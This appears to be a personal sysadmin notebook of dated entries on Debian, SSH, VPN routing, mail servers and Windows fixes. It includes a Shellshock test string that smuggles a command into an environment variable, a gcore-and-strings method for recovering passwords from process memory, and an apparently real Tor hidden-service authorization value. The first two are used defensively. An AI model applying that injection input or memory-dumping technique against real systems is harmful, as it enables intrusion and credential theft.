~/.smbcredentials: username=msusername password=mspassword # /etc/fstab: //<IP>/<SHARE> /media/<SHARE> cifs uid=<USER>,credentials=/home/<USER>/.smbcredentials,iocharset=utf8,sec=ntlm 0 0 [1] https://wiki.ubuntu.com/MountWindowsSharesPermanently Entry: openssh ignore default identities Date: Thu Aug 28 12:21:11 CEST 2014 For testing it often makes sense to ignore default identities, as ssh will fall back to those if a specified identity doesnt work. Entry: Recover outlook express local emails (dbx files) Date: Mon Sep 1 11:57:57 CEST 2014 Finding myself in a situation where email is stored in Outlook on a no longer bootable XP install. Can I get the data out into Thunderbird? This is where the dbx files are stored: /Documents and Settings/pama/Local Settings/Application Data/Identities/<IDENTITY>/Microsoft/Outlook Express Here's some tools[1] to convert. sudo apt-get install undbx undbx <dbx_folder> <eml_folder> [1] http://thunderbirdtweaks.blogspot.com.au/2011/07/outlook-express.html Entry: Recover outlook express address book (wab file) Date: Mon Sep 1 14:07:51 CEST 2014 ./Application Data/Microsoft/Address Book/pama.wab Entry: Belgacom Date: Sun Sep 7 10:47:58 CEST 2014 B-Box2 has 2 VLAN: eth1.10 VLAN10 PPP eth1.20 VLAN20 Voip, IPTV It seems that eth1 is actually what is connected to the DSL line. Ordinarily, this would be a "flat" PPPoE segment, but for Belgacom it is encapsulated in VLANs? Reading[1], it seems that IPoEthernet is the baseline. This also corresponds to what I see on the B-Box2. [1] http://www.swinog.ch/meetings/swinog15/The_Evolution_from_PPPoE_to_IPoE_sessions.pdf Entry: Backups and content-addressed storage Date: Sun Sep 7 11:44:55 CEST 2014 Basically, I do not trust your backup software :) Version control (darcs, git) has worked well for keeping my own data duplicated and managed. However, for the rest of the familiy and for those big files it's best to start using context addressing. To keep things simple, create an sqlite database with: hash,host,volume,path It's important to identify individual volumes as well, i.e. when switching. Let's write this in python to make cross-platform management easier. What are the connections to make? - filesystem hard link from hash name to file data - text file / table with hash <-> path link This is the basic data structure. Backups = rsync store + metadata file Cleanup = delete versions no longer linked to files Deduplication -> manual, find files with same hash Entry: Windows XP .wab file Date: Fri Sep 12 19:56:36 CEST 2014 I did not find a stand-alone linux app to convert .wab to a sane format. Just clicking on the file in explorer on Windows 7 imports it into contacts which looses "identity" information from Outlook. Best way to solve this seems to be to make copies of the files and edit them in XP in the address book application (e.g. deleting unwanted parts), then export to csv for each edit. Moral of the story: don't delete that XP VM! Entry: Thunderbird contacts Date: Fri Sep 12 20:36:46 CEST 2014 How to extract the list of email contacts from thunderbird? Entry: old dropbear_0.45 problem Date: Sat Sep 13 16:32:18 CEST 2014 Router with old OpenWRT. Can no longer log in using new openssh 6.6.1 client. debug1: expecting SSH2_MSG_KEXDH_REPLY Read from socket failed: Connection reset by peer Trying with old dropbear from source[3] on client side. Hmm... forgot the password and can't convert my old openssh key.. Trying with openssh 5.5p1[5] mentioned in [4]. Yep that worked. [1] http://forums.opensuse.org/showthread.php/450850-I-no-longer-can-ssh-to-my-router [2] http://h30499.www3.hp.com/t5/ITRC-Remote-Lights-Out-Mgmt-iLO/Unable-to-SSH-to-iLO2-with-OpenSSH-6-2/td-p/6050925#.VBRVm7tdlQI [3] https://matt.ucc.asn.au/dropbear/releases/dropbear-0.45.tar.bz2 [4] http://www.gossamer-threads.com/lists/openssh/dev/52934 [5] http://ftp.belnet.be/pub/OpenBSD/OpenSSH/portable/openssh-5.5p1.tar.gz Entry: tunderbird address book Date: Sun Sep 14 12:22:10 CEST 2014 under ~/.thunderbird or ~/.icedove abook.mab Entry: different external IP Date: Mon Sep 15 11:49:22 CEST 2014 I'm in Belgium. I'd like to have an outbound US IP. How to proceed? - For web: use a proxy. But this doesn't do SSL. - Route everything over VPN. - Set manual route for VPN host over local net connection. - Alternatively: - Bridge a whole ethernet segment over VPN using VLAN (needs TAP) such that host simply doesn't know. Entry: admin database Date: Mon Sep 15 13:33:32 CEST 2014 Time to organize things in sets :) I've been getting to know SQL for a bit these last couple of years and more intensely these last months, and I'm convinced it's a good interface. Not yet sure about storage and change management, so I've stabilized on: - schema.sql - storage: key-sorted *.csv with tab-separated values = python csv.writer(dialect="excel-tab") - python for load/store (alt: racket) Entry: bash vuln Date: Wed Sep 24 20:39:38 CEST 2014 http://seclists.org/oss-sec/2014/q3/650 to check: env x='() { :;}; echo VULN' bash -c echo fixed in: https://packages.debian.org/stable/base/bash http://security.debian.org/debian-security/pool/updates/main/b/bash/bash_4.2+dfsg-0.1+deb7u1_amd64.deb http://security.debian.org/debian-security/pool/updates/main/b/bash/bash_4.2+dfsg-0.1+deb7u1_i386.deb additional fix in: http://www.debian.org/security/2014/dsa-3035 version 4.2+dfsg-0.1+deb7u3 http://security.debian.org/debian-security/pool/updates/main/b/bash/bash_4.2+dfsg-0.1+deb7u3_amd64.deb http://security.debian.org/debian-security/pool/updates/main/b/bash/bash_4.2+dfsg-0.1+deb7u3_i386.deb Entry: zwizwa.be mx setup Date: Tue Sep 30 22:30:03 CEST 2014 Google is still not taking my emails.. [1] https://toolbox.googleapps.com/apps/checkmx/check?from=support.google.com&origin=checkmx-widget&domain=zwizwa.be [2] https://productforums.google.com/forum/#!topic/apps/Ds-4CD3zahg [3] https://www.ultratools.com/tools/emailTest Entry: email testing Date: Tue Sep 30 22:43:20 CEST 2014 http://www.brandonchecketts.com/emailtest.php Entry: Debian: Finding which package a file is in Date: Thu Oct 2 13:44:18 CEST 2014 apt-file find .... Entry: vlc vdpau bug Date: Thu Oct 2 13:58:29 CEST 2014 https://forum.videolan.org/viewtopic.php?f=13&t=53928&start=100 Entry: Maildir++ Date: Sun Oct 5 12:06:03 CEST 2014 The dotted subfolders are part of Maildir++ [1] [1] http://en.wikipedia.org/wiki/Maildir Entry: Resizing ext4 Date: Fri Oct 10 16:44:48 EDT 2014 1. Resize underlying block device 2. Run resize2fs[1] For a VM this seems to work best: - If swap is needed, put it before the root partition - extend the .img using dd if=/dev/zero of="$2" seek=$1 obs=1 count=0 - resize the main partition: modprobe nbd max_part=16 qemu-nbd -c /dev/nbd0 hd.img parted /dev/nbd0 unit s print # take note of start, e.g. 2048s rm 1 mkpart primary 2048s 100% qemu-nbd -d /dev/nbd0 - resize partition insize vm using resize2fs /dev/sdaX [1] https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ext4grow.html Entry: windows hidden console Date: Sat Oct 11 10:49:58 EDT 2014 [1] http://serverfault.com/questions/266535/how-to-run-a-powershell-script-from-cygwin-ssh-session Entry: Snarfing a bootable NTFS partition Date: Sun Oct 12 17:24:57 EDT 2014 # make an image file that's large enough to contain the partition dd if=/dev/zero of=win7.img seek=70000000000 obs=1 count=0 # create an ntfs partition using cfdisk cfdisk win7.img # expose partition as /dev/nbd0pa modprobe nbd qemu-nbd -c /dev/nbd0 win7.img # copy partition dd if=/dev/sda3 of=/dev/nbd0p1 # start qemu with rescue disk to restore nt loader EDIT: this didn't work.. won't boot. Entry: checkinstall mkdir -p Date: Wed Oct 29 15:50:31 EDT 2014 checkinstall --fstrans=no Entry: RTP record Date: Thu Oct 30 09:07:57 EDT 2014 SMTP error from remote mail server after initial connection: host mx2.comcast.net [2001:558:fe21:2a::6]: 554 resimta-ch2-16v.sys.comcast.net comcast 2001:41d0:8:8f95::1 Comcast requires that all mail servers must have a PTR record with a valid Reverse DNS entry. Currently your mail server does not fill that requirement. For more information, refer to: http://postmaster.comcast.net/smtp-error-codes.php#554 IPv6 ptr? Since the IPv4 PTR points at kimsufi.zwizwa.be Reverse is set in management console but doesn't seem to work properly for IPv6. in exim config: disable_ipv6 true Entry: webcam picture Date: Mon Nov 24 10:13:51 EST 2014 apt-get install streamer streamer -f jpeg -o image.jpeg [1] http://askubuntu.com/questions/106770/take-a-picture-from-terminal Entry: suspend Date: Wed Dec 24 20:43:18 EST 2014 1. /usr/sbin/hibernate 2. sleep - /sys/power/state - pm-suspend (no longer works?) - uswsusp - systemd echo 'mem' >/sys/power/state (works) Then the acpi buttons. There seem to be a couple of levels of indirection in /etc/acpi. I really just want to keep it simple, so what to edit? lid.sh but keep the part that checks the state otherwise it will sleep again when lid opens. for low battery, see here[2]. [1] https://wiki.archlinux.org/index.php/Suspend_and_hibernate [2] https://bbs.archlinux.org/viewtopic.php?id=147775 Entry: static routing tables Date: Fri Dec 26 21:36:18 EST 2014 Removing quagga (don't understand it) and adding static routing for all routing nodes. It would be nice to derive everything from a central static plan. I also need to figure out how to manage access between the different nodes. Thinking about closing up everything except for ssh, and opening up any non-secure services as a point-to-point VPN link. Also, don't route anything except for local nets. What about this: - secure every host individually (only ssh) - isolate closed source boxes - allow full routing Entry: imapd.pem Date: Sun Jan 11 14:51:36 EST 2015 # instructions from [1] mv /etc/courier/imapd.pem{,selfsigned} cat mail.key mail.crt > /etc/courier/imapd.pem openssl gendh >> /etc/courier/imapd.pem sh /etc/init.d/courier-imap-ssl restart what i did (using the exim key generated before, see above): zni:/etc/courier# cat ../exim4/exim.key ../exim4/exim.crt >imapd.pem zni:/etc/courier# openssl gendh >> imapd.pem zni:/etc/courier# /etc/init.d/courier-imap-ssl restart [1] http://linux.seindal.dk/2005/12/04/making-a-courier-imap-ssl-sertificate/ Entry: VPN hosts don't need routes Date: Sun Jan 11 15:06:10 EST 2015 It's not necessary that the VPN hosts themselves have full routes, so they do not need to run quagga. Entry: Routing Date: Sat Jan 10 00:52:07 EST 2015 Static routing won't work due to laptop host mobility, so need to fix this in a different way. Back to quagga? What are the options RIP RIPNG OSPF BGPD OSPF is hierarchical[1] which is not a good idea in my case. RIP doesn't scale[2]. Might not be a problem for a small number of routes. So let's revisit[3] RIP first. - router comes up, broadcasts Request Message to all RIP-enabled interfaces - router which receives Request Message replies with Response Message containing its routing table. ( also when timer expires. ) - router receives Request Message, - a route is used if it doesn yet exists or if hop count is lower. - if hop count is higher: infinite loop avoidance (explain). Pitfalls: - For VPN routing, routers should NOT transmit their local net routing. This leads to interesting problems where a VPN server's subnet is routed through the VPN while a connection over the internet is necessary to establish the VPN connection in the first place. It seems beset to just limit to a collection of relevant subnets. - Firewall might block multicast 224.0.0.9:540 - There is no authentication[4]. Do not run this on untrusted links. So I wonder if static isn't better. There are two problems I'm trying to solve: - route redundancy through multiple VPN servers - nodes that move around (e.g. laptops). It might be best to solve the moving around problem using VPN links as I already do, really... In practice the redundancy hasn't been an issue. Pretty much perfect uptime of VPN servers. Trouble is that I'm trying to solve a different problem: private network inside an existing network where there is no control over the routers (default gateways). In this case it seems that NAT at the border of the private network is the only simple solution to reach everything. Core of trusted hosts / nets can communicate over VPN + quagga for things like VMs. All the rest is outside of this (web browsing PCs, tablets, phones, printers, set top boxes and guest wireless network.). From inside to outside routes need to be known, while the return path uses nat. [1] https://www.youtube.com/watch?v=e8qfvF4yNOI [2] http://networkengineering.stackexchange.com/questions/5893/why-is-rip-not-scalable [3] https://en.wikipedia.org/wiki/Routing_Information_Protocol [4] http://digi.ninja/blog/rip_v2.php Entry: generating ssh host keys Date: Sun Jan 11 16:11:32 EST 2015 SSH1 protocol: ssh-keygen -f /etc/ssh/ssh_host_key -N '' -t rsa1 SSH2 protocol: ssh-keygen -f /etc/ssh/ssh_host_rsa_key -N '' -t rsa ssh-keygen -f /etc/ssh/ssh_host_dsa_key -N '' -t dsa [1] http://www.cloudvps.com/community/knowledge-base/regenerating-ssh-host-keys/ Entry: udev BCR2000 Date: Mon Jan 12 21:25:48 EST 2015 root@pi:/home/tom# udevadm monitor KERNEL[433.504866] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3 (usb) UDEV [433.517165] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3 (usb) KERNEL[433.519311] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0 (usb) KERNEL[433.521683] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1 (sound) KERNEL[433.523187] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/midiC1D0 (sound) KERNEL[433.524593] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/midi1 (sound) KERNEL[433.525328] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/dmmidi1 (sound) KERNEL[433.526596] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/controlC1 (sound) KERNEL[433.527449] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.1 (usb) UDEV [433.537479] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0 (usb) UDEV [433.546810] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.1 (usb) UDEV [433.554763] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1 (sound) KERNEL[433.606567] change /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1 (sound) UDEV [433.681465] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/midiC1D0 (sound) UDEV [433.701907] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/dmmidi1 (sound) UDEV [433.704585] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/midi1 (sound) UDEV [433.707528] add /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1/controlC1 (sound) UDEV [433.717496] change /devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/sound/card1 (sound) Entry: debian fontconfig Date: Sat Jan 24 14:26:16 EST 2015 copy /etc/fonts/* from ubuntu fontconfig-config.deb to .config/fontconfig/* [1] http://www.reddit.com/r/debian/comments/1ofgl7/howto_better_looking_fonts/ Entry: Distributed "map" Date: Sun Jan 25 13:03:26 EST 2015 It's time to fix this problem: run a piece of code on a collection of hosts, gather the results in a set or dictionary. What do I have to do to make this feasible? Do all my system scripting in Erlang? The general idea here is to maybe start replacing shell scripting everywhere and use real programming languages.. I'm liking erlang a lot, though it's not built for batch processing. Entry: agent forwarding Date: Wed Jan 28 00:12:12 EST 2015 Switching to basic strategy: - no automatic forwarding. use "-A" option when it is required. - when logging into servers with -A think that this exposes keys to root, user on remote machine. do you trust that? [1] http://www.commandprompt.com/blogs/ildefonso_camargo/2013/11/security_considerations_while_using_ssh-agent/ Entry: emacs and passwords Date: Wed Jan 28 14:48:01 EST 2015 gcore <pid> strings core.<pid> Clearly exposes passwords and pass phrases. So beware of long-running emacsen. Entry: security Date: Wed Jan 28 16:18:32 EST 2015 So it's clear now that without a threat model, there isn't much to do to secure things. One thing seems clear though: isolate web/email attack vectors. Entry: git/ssh pubkeys on cygwin Date: Thu Jan 29 15:41:56 EST 2015 Git uses mingw ssh in tom@revo /Program Files (x86)/Git The .ssh directory seems to be \Users\tom\.ssh It has the known_hosts file from previous sessions. Generate key. I'm using cygwin's ssh-keygen to do this over cygwin ssh session. [1] http://guides.beanstalkapp.com/version-control/git-on-windows.html Entry: fstrim Date: Thu Jan 29 21:13:42 EST 2015 root@tp:~# hdparm -I /dev/sda | grep TRIM * Data Set Management TRIM supported (limit 1 block) * Deterministic read data after TRIM root@tp:~# fstrim -v / /: 84.4 GiB (90576441344 bytes) trimmed http://man7.org/linux/man-pages/man8/fstrim.8.html Entry: ovh kernel Date: Thu Jan 29 22:39:30 EST 2015 apt-get install linux-image-686 fgrep menuentry /boot/grub/grub.cfg pico /etc/default/grub -GRUB_DEFAULT=0 +GRUB_DEFAULT=1 Pick the 64 bit kernel. Entry: lxc Date: Fri Jan 30 01:45:21 EST 2015 openvz too old, vserver no longer in debian. everyone is moving to xen or kvm it seems.. though on the N2800 i need something else. let's give lxc a try. https://linuxcontainers.org/lxc/getting-started/ https://github.com/simonvanderveldt/lxc-debian-wheezy-template https://openvz.org/Differences_between_venet_and_veth simplest thing: isolate a process lxc-start --name busybox -c /dev/null ash Entry: automate install Date: Sat Jan 31 14:12:59 EST 2015 So let's make it easier to reinstall a debian box from scratch. I've been carrying around all these modifications for a long time so maybe it's good to automate. Too many computers.. Entry: debian versions Date: Sat Jan 31 14:28:29 EST 2015 Run stable on servers, testing + sid on development machines. Entry: fstrim on zoo Date: Fri Feb 6 01:21:32 EST 2015 root@zoo:~# hdparm -I /dev/sdb | grep TRIM * Data Set Management TRIM supported (limit 1 block) * Deterministic read data after TRIM root@zoo:~# fstrim -v / /: 98163646464 bytes were trimmed Entry: changing root drive, grub Date: Thu Feb 5 21:40:48 EST 2015 - Copy all files - edit /etc/fstab - install grub: mount -o bind /dev/ /path/to/chroot/dev mount -t proc none /path/to/chroot/proc mount -t sysfs none /path/to/chroot/sys chroot /path/to/chroot grub-install /dev/sd<X> update-grub Entry: RF-kill Date: Tue Feb 10 23:05:35 EST 2015 On the X201 somehow rf kill was engaged. [276310.964116] iwlwifi 0000:02:00.0: RF_KILL bit toggled to disable radio. Hibernate didn't help. Might have been the Fn-F5 key combo. Rebooting. EDIT: There is a physical switch in the front left corner. Entry: cygwin kill windows process Date: Mon Feb 23 17:13:48 EST 2015 tasklist taskkill /f /pid 123 Entry: cygwin emacs ssh X11 forwarding Date: Mon Feb 23 18:53:56 EST 2015 Works, but make sure that: - forwarding is enabled in /etc/sshd_config (off by default). - xauth is installed - cygserver is running Entry: wicd doesn't support bridges Date: Wed Feb 25 18:44:36 EST 2015 I do need wlan bridge, but only at home. The simplest way to do this seems to use a VLAN on the wifi. This way wicd can be left alone. This VLAN is then bridged to the main lan on the router. # router vconfig add wlan0 11 ifconfig wlan0.11 up brctl addif br-lan wlan0.11 # laptop vconfig add wlan0 11 ifconfig wlan0.11 up brctl addbr br0 brctl addif br0 wlan0.11 ifconfig br0 up The bridge on the laptop doesn't need an IP address. ( It behaves as a network switch. ) Actually this needs two different IP spaces on the laptop side it seems. Then I run into a problem that wlan0 (ath5k) can't be bridged.. Hmm.. looks like routing is the only alternative. Entry: Cygwin chmod doesn't work Date: Mon Mar 2 14:06:22 EST 2015 Apparently when you copy files that are not created by cygwin, a problem can occur leading to inability to change permissions. My id_rsa had 670 permissions and chmod didn't do anything. It was copied from somewhere else. I fixed it by - taking a file that was created by cygwin and copy it to id_rsa - cat /Users/tom/.ssh/id_rsa >id_rsa - chmod 600 id_rsa [1] http://stackoverflow.com/questions/9561759/why-cannot-chmod-in-cygwin-on-windows-8-cp Entry: xbmc crashes on ubuntu Date: Tue Mar 10 02:56:10 EDT 2015 root@tpu:/home/tom# apt-get install mesa-vdpau-drivers Entry: cancel cups print jobs Date: Tue Mar 10 16:15:29 EDT 2015 Check IDS on localhost:631, then: e.g issue "cancel HL2240-1" on command line. Entry: UEFI boot Date: Thu Mar 12 12:17:03 EDT 2015 make 200MB fat32 partition and mount it as /boot/efi EDIT: I did not try this. Just using legacy boot at startup using bios boot menu. https://help.ubuntu.com/community/UEFI Entry: fglrx Date: Thu Mar 12 20:36:18 EDT 2015 fglrx: disagrees about version of symbol module_layout Probably triggered after kernel upgrade. Where does this come from? This is a remnant I found: /home/tom/amd-catalyst/fglrx-14.10.1006.1001 run the installer again http://support.amd.com/en-us/kb-articles/Pages/latest-linux-beta-driver.aspx http://www.geeks3d.com/20141209/amd-catalyst-14-12-omega-edition-released-for-windows-and-linux/ Entry: out-of-memory related errors with git gc Date: Sat Mar 14 00:16:29 EDT 2015 git repack --window-memory 500m But that doesn't solve gc, which doesn't have a memory use option. Seems best to not let it get out of hand, or gc on a machine with more memory. Entry: upgrade wheezy to jessie without systemd Date: Sun Mar 15 13:16:30 EDT 2015 Instead of removing it after upgrade, I'm issuing # echo -e 'Package: systemd\nPin: origin ""\nPin-Priority: -1' > /etc/apt/preferences.d/systemd to see if it's possible to upgrade without installing systemd at all. [1] http://without-systemd.org/wiki/index.php/How_to_remove_systemd_from_a_Debian_jessie/sid_installation Entry: Canoscan LiDE 220 Date: Tue Mar 31 19:46:46 EDT 2015 supported in dev branch: http://www.sane-project.org/cgi-bin/driver.pl?manu=canon&model=lide+120&bus=any&v=&p= http://www.meier-geinitz.de/sane/genesys-backend/ CanoScan LiDE 220 USB 0x04a9/0x190f complete GL124+ based, resolution from 75 to 4800 dpi Entry: Soekris Debian Date: Sun Apr 5 16:29:20 EDT 2015 picocom --baud 19200 /dev/ttyUSB0 8GB Sandisk is recognized: Pri Mas SanDisk SDCFHSNJC-008G LBA Xlt 972-255-63 7812 Mbyte Set up PXE server first, then boot install as described in [1]. [1] http://wiki.soekris.info/Debian_Wheezy [2] https://delicious.com/doelie/soekris Entry: gmail problems. solution? Date: Thu Jul 9 01:02:52 EDT 2015' Get google apps account then cancel it. [1] https://bitbin.de/blog/2015/07/gmail-hate/ Entry: FV6020 Date: Wed Jul 15 17:22:48 EDT 2015 Set it to Indiana(East) GMT-5, daylight[x]. The others don't seem to work properly. Entry: windows restart Date: Mon Aug 17 14:56:11 EDT 2015 shutdown /r /t 0 # restart shutdown /s /t 0 # shutdown Entry: 1650EN Date: Sat Aug 2 14:36:33 EDT 2014 Problem was[1] fuser (A12J011). Currently goes for $75 on eBay. I had just bought a new printer for $150 because original fuser was too expensive (> $100). Thinking about replacing the fuser now to put the printer to work, or maybe just using it as a spare with some cheaper toner? [1] entry://20140802-143633 Entry: kodi xmonad Date: Mon Aug 31 00:34:09 CEST 2015 https://bbs.archlinux.org/viewtopic.php?id=191338 Entry: cygwin ssh network share access Date: Tue Sep 22 17:00:00 EDT 2015 To make this work, log in with password instead of pubkey to make a token available in the session, then map using "net". ssh revo -o "PubkeyAuthentication no" net use z: \\\\emwebvm\\tom Entry: udevadm settle Date: Sat Sep 26 16:58:19 EDT 2015 is going up to the timeout. why? Entry: windows enable remote desktop on command line Date: Tue Sep 29 11:34:36 EDT 2015 reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable apt-get install rdesktop rdesktop <host> Entry: windows command line virus scan / system file checker Date: Tue Sep 29 11:41:27 EDT 2015 sfc /scannow https://support.microsoft.com/en-us/kb/929833 Entry: keyboard layout windows Date: Thu Oct 1 13:21:23 EDT 2015 http://superuser.com/questions/13324/switching-keyboard-layout-in-windows-globally Entry: remode desktop windows 7 home premium Date: Thu Oct 1 13:31:22 EDT 2015 probably best to just use pro https://blog.jordanhopfner.com/2012/01/09/enable-remote-desktop-connection-on-windows-7-home-premium-sp1/ Entry: cygwin tricks: cygcheck Date: Fri Oct 2 02:54:23 EDT 2015 cygcheck /bin/bash cygcheck -p xyz.dll https://raw.githubusercontent.com/transcode-open/apt-cyg/master/apt-cyg http://superuser.com/questions/929283/cygcheck-track-down-could-not-find-cygnettle-4-dll Entry: microsoft safety scanner Date: Fri Oct 2 14:23:33 EDT 2015 http://windows.microsoft.com/en-us/windows-vista/windows-update-error-80070422-80244019-or-8ddd0018 Entry: boot repair Date: Sat Oct 3 10:58:22 EDT 2015 i'm just using linux, but here's some windows options: http://superuser.com/questions/198232/boot-windows-from-grub-rescue http://www.sysint.no/mbrfix Entry:kb3033929 problems Date: Sat Oct 3 13:48:40 EDT 2015 likely due to dual boot http://darkling.poppameth.com/windows-update-kb3033929-update-loop/ Entry: unstick reboot Date: Sun Oct 4 17:23:24 EDT 2015 https://www.ryansteele.ca/2011/01/21/unstick-a-remote-reboot/ Entry: mutt tuning Date: Sun Oct 4 23:49:24 EDT 2015 http://durak.org/sean/pubs/software/mutt/tuning.html Entry: testing spam Date: Mon Oct 5 00:16:34 EDT 2015 XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X Entry: Apache upgrade Date: Mon Oct 5 01:38:25 EDT 2015 ## Changed after upgrade # LockFile ${APACHE_LOCK_DIR}/accept.lock Mutex file:${APACHE_LOCK_DIR} default Entry: soekris Date: Thu Oct 8 20:19:32 EDT 2015 original: > show ConSpeed = 19200 ConLock = Enabled ConMute = Disabled BIOSentry = Enabled PCIROMS = Enabled PXEBoot = Enabled FLASH = Primary BootDelay = 5 FastBoot = Disabled BootPartition = Disabled BootDrive = 80 81 F0 FF ShowPCI = Enabled Reset = Hard CpuSpeed = Default > set FLASH=Secondary > set BootDrive 81 80 F0 FF http://debian.takhis.net/soekris/soekris.html > net boot f0 I tried with jessie which didn't work. Wheezy as described in the link does boot into the installer. Link assumes CF is on /dev/sdb for me (no HD for me so this was /dev/sda). Entry: webm to mp3 Date: Thu Oct 15 20:12:32 EDT 2015 for i in *.webm; do ffmpeg -i "$i" "$(basename "$i" .webm).mp3"; done Entry: hosting email Date: Sun Oct 18 01:29:46 EDT 2015 http://liminality.xyz/the-hostile-email-landscape/ Entry: whining noise Date: Fri Oct 23 12:14:04 EDT 2015 http://superuser.com/questions/121883/any-way-to-disable-specific-cpu-idle-cx-states Entry: Radeon open source driver Date: Fri Oct 30 09:49:24 EDT 2015 Apparently, radeon OS driver for this card is now a good alternative to the problematic catalyst drivers: 01:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Curacao PRO [Radeon R7 370 / R9 270/370 OEM] 01:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Cape Verde/Pitcairn HDMI Audio [Radeon HD 7700/7800 Series] http://www.x.org/wiki/RadeonFeature/ Entry: darcs to git Date: Sat Oct 31 09:53:38 EDT 2015 http://offog.org/notes/converting-to-git/ cabal install darcs-fastconvert https://github.com/nh2/darcs-fastconvert Entry: iwlwifi Date: Thu Nov 5 17:10:21 EST 2015 After some recent upgrade, iwlwifi is giving problems: driver crashes. Tried downgrade of firmware-iwlwifi to 0.36+wheezy.1, didn't help. Upgrading to lastest 4.2 kernel in sid now. Nope that didn't help either. It's ok when it sits in the dock. Battery issue? EDIT: Still problems. On tp it works with: Linux version 3.16.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.7-ckt4-2 (2015-01-27) $ dpkg -l firmware-iwlwifi firmware-iwlwifi 0.43 Downgraded firmware to 0.43 on pt. Trying first with kerne 4.2, then will do downgrade. Entry: Firefox fullscreen problems w. xmonad Date: Fri Nov 6 21:06:53 EST 2015 https://www.reddit.com/r/firefox/comments/3rpjfc/fullscreen_issues_in_xmonad/ google for "gtk_window_fullscreen() xmonad" some solutions are available, but i can't understand the config and how to merge with mine... take some time to learn this. Entry: x201 wifi Date: Sun Dec 13 09:53:10 EST 2015 broken on tp after recent update from unstable.. how to track what was installed? see kernel.org bugzilla 95811, 91171 suggesting this is a platform issue, not a driver issue. workaround: echo 1 >/sys/bus/pci/devices/0000\:02\:00.0/remove echo 1 >/sys/bus/pci/rescan killall wpa_supplicant In 91171, look for post on Advanced-N 6200, Lenovo x201 https://bugzilla.kernel.org/show_bug.cgi?id=91171 Entry: bluetooth Date: Sun Dec 20 01:48:20 CET 2015 apt-get install bluez https://wiki.archlinux.org/index.php/Bluetooth Entry: Make VPN switching simpler Date: Sat Dec 26 17:15:47 CET 2015 Add explicit routes to all vpn servers, and leave them on. Then just switch default gw to do routing. Entry: ip Date: Sat Dec 26 17:29:17 CET 2015 http://serverfault.com/questions/458628/should-i-quit-using-ifconfig Entry: wicd post/pre scripts Date: Sat Dec 26 21:41:48 CET 2015 see /etc/wicd/scripts/*/* Entry: openvpn on debian systemd Date: Tue Dec 29 20:08:51 CET 2015 # to enable /etc/openvpn/sample.conf systemctl enable openvpn@sample.service http://uname.pingveno.net/blog/index.php/post/2015/05/23/Migrate-an-OpenVPN-configuration-to-Debian-8-%28Jessie%29-with-systemd Entry: flash update Date: Sun Jan 10 19:15:20 CET 2016 apt-get install flashplugin-nonfree update-flashplugin-nonfree --install rm ~/.mozilla/plugins/libflashplayer.so Entry: Fixing bad partition table Date: Fri Jan 15 08:58:51 CST 2016 cfdisk and parted don't do anything when partitions are stretching beyond disk boundaries: (parted) p Error: Can't have a partition outside the disk! Fix this with sfdisk sfdisk -d /dev/sda >sfdisk_orig.sda cp sfdisk_orig.sda sfdisk_new.sda # edit sfdisk_new.sda sfdisk /dev/sda <sfdisk_new.sda Entry: vsync a window manager problem? Date: Mon Jan 18 20:57:08 EST 2016 http://unix.stackexchange.com/questions/182801/why-is-video-tearing-such-a-problem-in-linux Entry: Pulseaudio Bluetooth Date: Thu Jan 21 16:34:29 EST 2016 http://askubuntu.com/questions/223136/pavucontrol-doesnt-show-bluetooth-headset Entry: Moving a linux install Date: Fri Jan 22 12:16:24 EST 2016 # edit /etc/grub/defaults grub-install <device> # if needed. update-initramfs -u -k all update-grub Entry: ssh tor hidden service Date: Sun Jan 24 16:09:39 EST 2016 http://www.nurdletech.com/linux-notes/ssh/hidden-service.html - host side mkdir /var/lib/tor/ssh chown debian-tor /var/lib/tor/ssh chmod 700 /var/lib/tor/ssh ## /etc/torrc HiddenServiceDir /var/lib/tor/ssh/ HiddenServicePort 22 127.0.0.1:22 HiddenServiceAuthorizeClient stealth tp_ssh_client - client-side ## .ssh/config host hidden hostname 7ei66g5djlymzxqb.onion proxyCommand ncat --proxy 127.0.0.1:9050 --proxy-type socks5 %h %p ## /etc/torrc (from /var/lib/tor/ssh/hostname on server) HidServAuth 7ei66g5djlymzxqb.onion op6npnLTq2NtpQVZqLJilB Entry: Linux Vulkan AMD Date: Mon Feb 1 18:29:13 EST 2016 http://www.phoronix.com/scan.php?page=news_item&px=AMDGPU-Vulkan-Driver-Only PITCAIRN? Entry: cloudatcost.com Date: Fri Feb 5 19:19:44 EST 2016 lifetime $35/CPU 1/2gig RAM 10gig HD puppet etckeeper Entry: multiple displays, separate hosts Date: Tue Feb 9 15:36:47 EST 2016 